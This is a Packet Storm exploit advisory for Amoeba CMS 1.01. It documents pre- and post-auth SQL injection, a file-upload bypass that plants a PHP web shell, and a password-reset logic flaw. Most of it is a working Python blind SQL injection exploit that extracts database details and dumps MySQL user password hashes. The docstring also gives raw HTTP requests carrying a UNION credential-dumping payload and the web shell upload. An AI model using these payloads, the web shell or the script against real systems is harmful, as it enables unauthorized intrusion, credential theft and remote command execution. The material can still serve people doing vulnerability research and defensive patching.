Amoeba CMS 1.01 Shell Upload / SQL Injection

2011-01-02T00:00:00
ID PACKETSTORM:97214
Type packetstorm
Reporter mr_me
Modified 2011-01-02T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
  
"""  
Amoeba CMS v1.01 multiple remote vulnerabilities:  
Vendor: http://www.amoebacms.com/  
Found by: mr_me  
Contact date: 20/12/2010 2:37pm EST  
  
SQL Injection:  
=============  
There is quite a few instances of pre/post auth SQL Injection in the web application. In one particular SQLi the attacker  
controlled input is being used for multiple queries, and as such seems to fail on the second query when using the _ character.  
This character is used as a wildcard in the second query as per the MySql manual. Therefore stealing data from the 'amb_users'  
table may prove difficult. Additionaly, order by SQL Injection is present, which doubles the fun :0)  
  
Pre-auth SQL Injection PoC (refer below to an automated working PoC):  
---------------------------------------------------------------------  
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=1 << true  
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=2 << false  
  
Post-auth SQL Injection PoCs:  
-----------------------------  
These will require the attacker to obtain access to the backend somehow.  
Only one cookie is needed to reach this backend (ambid).  
  
PoC 1:  
------  
POST /[PATH]/admin/index.php?mod=group&com=menu HTTP/1.1  
Host: [target]  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Proxy-Connection: keep-alive  
Cookie: ambid=5i5nrbl5d09f3ktqkh7sfe1s94  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 39  
  
pageingsize=1+uNiOn+sEleCt+1,coNcAt(user_name,0x3a,users_password),3+from+amb_users--  
  
PoC 2:  
------  
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=1 << true  
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=2 << false  
  
Shell Upload Vulnerability:  
==========================  
Interestingly enough, this application uses a whitelist extension approach which is stored in the database (amb_media_type)!  
Unfortunately/fortunately they still allow a '.whateva' extension in the filename, as long as it doesnt end in an extension  
that is not on the whitelist. As a fatality the attacker can upload content with 'malicious' code inside and 'get a shell'  
by using an Apache AddType directive. Once the request is made, the application will re-write the file to the original/ dir  
using the php time() added into its name. See below:  
  
PoC:  
----  
POST /webapps/amoeba2/admin/index.php?mod=manip&com=media&mediaType=IMAGE&name=lol.php.jpg HTTP/1.1  
Host: [target]  
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 115  
Proxy-Connection: keep-alive  
Cookie: ambid=5pk8u31pobv3qr0tci03o7tog5  
Content-Type: application/octet-stream  
Content-Length: 31  
  
<?PHP system($_GET['cmd']); ?>  
  
Server Response:  
----------------  
{"jsonrpc" : "2.0", "result" : null, "chunk" : "0", "chunks" : "0", "name" : "lol.php-1293423431.jpg", "id" : "id"}  
  
Then we can access our shell at:  
http://[target]/[path]/media/original/lol.php-1293423431.jpg?cmd=id  
  
Logic Flaws:  
===========  
Password disclosure & password reset:  
--------------------  
Password hash disclosure in the admin console. Just change uID to whateva your current uID once you have stolen the admin cookie.  
Additionaly you can reset the admins password, without actually knowing the password. o_O Suprise surpise, its the same link:  
  
PoC:  
---  
http://[target]/[path]/admin/index.php?mod=list&com=user&uID=2&action=edit  
  
"""  
  
# Amoeba CMS v1.0.1 Remote Blind SQL Injection Exploit  
# ----------------------------------------------->  
# Script provided 'as is', without any warranty.  
# Use for educational purposes only.  
# Do not use this code to do anything illegal !  
# ----------------------------------------------->  
# 8 queries per char, much much cleaner.  
#  
# [mr_me@pluto amoeba]$ python amoeba0day.py -p 127.0.0.1:8080 -s 'whateva' -t 192.168.1.15 -d /webapps/amoeba2/  
#  
# | --------------------------------------------- |  
# | Amoeba CMS Remote Blind SQL Injection Exploit |  
# | by mr_me - net-ninja.net -------------------- |  
#  
# (+) Exploiting target @: http://192.168.1.15/webapps/amoeba2/  
# (+) Testing Proxy @ 127.0.0.1:8080..  
# (+) Proxy is working!  
# (+) Using string 'whateva' for the true page  
# (+) This will take time, go grab a coffee..  
#  
# (!) Getting database version: 5.1.41-3ubuntu12.8  
# (!) Getting database user: root@localhost  
# (!) Getting database name: amoeba2  
# (!) w00t! You have access to MySQL database!  
# (+) Dumping hashs hold onto your knickers..  
# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413  
# (+) PoC finished.  
  
import sys, urllib, re  
from optparse import OptionParser  
  
# all possible decimal values of printable ascii characters  
# 8 requests per char, much much cleaner.  
lower_value = 0  
upper_value = 126  
  
vuluri = "index.php?mod=cat&com=news&cpID=1"  
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}  
  
usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"  
usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t 192.168.2.15 -d /amoeba/"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-p", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server:port>")  
parser.add_option("-t", type="string", action="store", dest="target",  
help="The Target server <server:port>")  
parser.add_option("-d", type="string", action="store", dest="directory",  
help="Directory path to the CMS")  
parser.add_option("-s", type="string", action="store", dest="trueStr",  
help="String that is on the 'true' page (used with the -b option)")  
  
(options, args) = parser.parse_args()  
  
def banner():  
print "\n\t| --------------------------------------------- |"  
print "\t| Amoeba CMS Remote Blind SQL Injection Exploit |"  
print "\t| by mr_me - net-ninja.net -------------------- |\n"  
  
if len(sys.argv) < 5:  
banner()  
parser.print_help()  
sys.exit(1)  
  
def setTargetHTTP():  
if options.target[0:7] != 'http://':  
options.target = "http://" + options.target  
return options.target  
  
def getProxy():  
try:  
proxy = {'http': "http://"+options.proxy}  
opener = urllib.FancyURLopener(proxy)  
except(socket.timeout):  
print "\n(-) Proxy Timed Out"  
sys.exit(1)  
except(),msg:  
print "\n(-) Proxy Failed"  
sys.exit(1)  
return opener  
  
def getServerResponse(exploit):  
if options.proxy:  
try:  
options.target = setTargetHTTP()  
opener = getProxy()  
check = opener.open(options.target+options.directory+exploit).read()  
except urllib.error.HTTPError, error:  
check = error.read()  
except socket.error:  
print "(-) Proxy connection failed"  
sys.exit(1)  
else:  
try:  
check = urllib.urlopen(options.target+options.directory+exploit).read()  
except urllib.error.HTTPError, error:  
check = error.read()  
except urllib.error.URLError:  
print "(-) Target connection failed, check your address"  
sys.exit(1)  
return check  
  
# modified version of rsauron's function  
# thanks bro.  
def getAsciiValue(URI):  
lower = lower_value  
upper = upper_value  
while lower < upper:  
try:  
mid = (lower + upper) / 2  
head_URI = URI + ">"+str(mid)  
result = getServerResponse(head_URI)  
match = re.findall(options.trueStr,result)  
if len(match) >= 1:  
lower = mid + 1  
else:  
upper = mid  
except (KeyboardInterrupt, SystemExit):  
raise  
except:  
pass  
  
if lower > lower_value and lower < upper_value:  
value = lower  
else:  
head_URI = URI + "="+str(lower)  
result = getServerResponse(head_URI)  
match = re.findall(options.trueStr,result)  
if len(match) >= 1:  
value = lower  
else:  
print "(-) READ xprog's blind sql tutorial!\n"  
sys.exit(1)  
return value  
  
def doBlindSqlInjection():  
print "(+) Using string '%s' for the true page" % (options.trueStr)  
print "(+) This will take time, go grab a coffee.."  
for key in basicInfo:  
sys.stdout.write("\n(!) Getting database %s: " % (key))  
sys.stdout.flush()  
  
# it will never go through all 100 iterations  
for i in range(1,100):  
request = (vuluri+"+or+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i)))  
asciival = getAsciiValue(request)  
if asciival != 0:  
sys.stdout.write("%s" % (chr(asciival)))  
sys.stdout.flush()  
else:  
break  
  
isMysqlUser = (vuluri+"+or+(select 1 from mysql.user limit 0,1)=1")  
result = getServerResponse(isMysqlUser)  
match = re.findall(options.trueStr,result)  
if len(match) >= 1:  
print "\n(!) w00t! You have access to MySQL database!"  
print "(+) Dumping hashs hold onto your knickers.."  
sys.stdout.write("(+) The username and hashed password is: ")  
sys.stdout.flush()  
for k in range(1,100):  
getMysqlUserAndPass = (vuluri+"+or+ascii(substring((SELECT+concat(user,0x3a,password)+from+"  
"mysql.user+limit+0,1),%s,1))" % str(k))  
asciival = getAsciiValue(getMysqlUserAndPass)  
if asciival != 0:  
sys.stdout.write("%s" % (chr(asciival)))  
sys.stdout.flush()  
else:  
break  
else:  
print "\n(-) You do not have access to MySQL database"  
  
if __name__ == "__main__":  
banner()  
options.target = setTargetHTTP()  
print "(+) Exploiting target @: %s" % (options.target+options.directory)  
if options.proxy:  
print "(+) Testing Proxy @ %s.." % (options.proxy)  
opener = getProxy()  
try:  
check = opener.open("http://www.google.com").read()  
except:  
check = 0  
pass  
if check >= 1:  
print "(+) Proxy is working!"  
  
else:  
print "(-) Proxy failed, exiting.."  
sys.exit(1)  
  
doBlindSqlInjection()   
print "\n(+) PoC finished."  
  
`